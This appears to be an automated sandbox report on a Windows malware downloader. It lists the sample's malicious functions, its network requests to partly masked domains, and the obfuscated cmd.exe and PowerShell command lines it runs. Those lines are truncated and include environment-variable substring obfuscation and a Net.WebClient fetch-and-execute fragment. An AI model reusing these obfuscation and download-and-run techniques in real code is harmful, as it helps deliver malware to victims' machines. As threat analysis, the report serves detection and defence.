Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V\C"set pQ=MeUlY%w1= nBhsT(Xkx5z@2f+PVW~Nv96DIdi3bFQLS8.j\\0'KaC_)ZG}{pmuA$R,7ytc;EO:o4gr-q&&for %H in (59;74;6;5;25;2;11;41;34;52;73;28;19;65;7;5;77;5;...
Network activity
TCP
HTTP GET requests
- http://bo##aly.com/pjuupfw/4TPwjbiu_LtgB6bz_RNnEodsL
- http://cl###estre.com/Ms7KVXg_mEQ6PCOf
- http://www.hj###ders.nl/AllpF3u_jyYj9Xx
- http://co###sbysmdc.ph/ZS28_2396jq8
- http://co###sbysmdc.ph/notfound.php
UDP
- DNS ASK br####ayhype.co.za
- DNS ASK bo##aly.com
- DNS ASK cl###estre.com
- DNS ASK hj###ders.nl
- DNS ASK co###sbysmdc.ph
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V\C"set pQ=MeUlY%w1= nBhsT(Xkx5z@2f+PVW~Nv96DIdi3bFQLS8.j\\0'KaC_)ZG}{pmuA$R,7ytc;EO:o4gr-q&&for %H in (59;74;6;5;25;2;11;41;34;52;73;28;19;65;7;5;77;5;...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /V/C"set pQ=MeUlY%w1= nBhsT(Xkx5z@2f+PVW~Nv96DIdi3bFQLS8.j/\0'KaC_)ZG}{pmuA$R,7ytc;EO:o4gr-q&&for %H in (59;74;6;5;25;2;11;41;34;52;73;28;19;65;7;5;77;5;42;71;42;42;34;72;29;29;62;0;71;73;28;78...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $z8586='w9407';$t9045=new-object Net.WebClient;$n1936='http://br####ayhype.co.za/Qci_w6cOra0a_f@http://bootaly.com/pjuupfw/4TP...
- '<SYSTEM32>\cmd.exe'
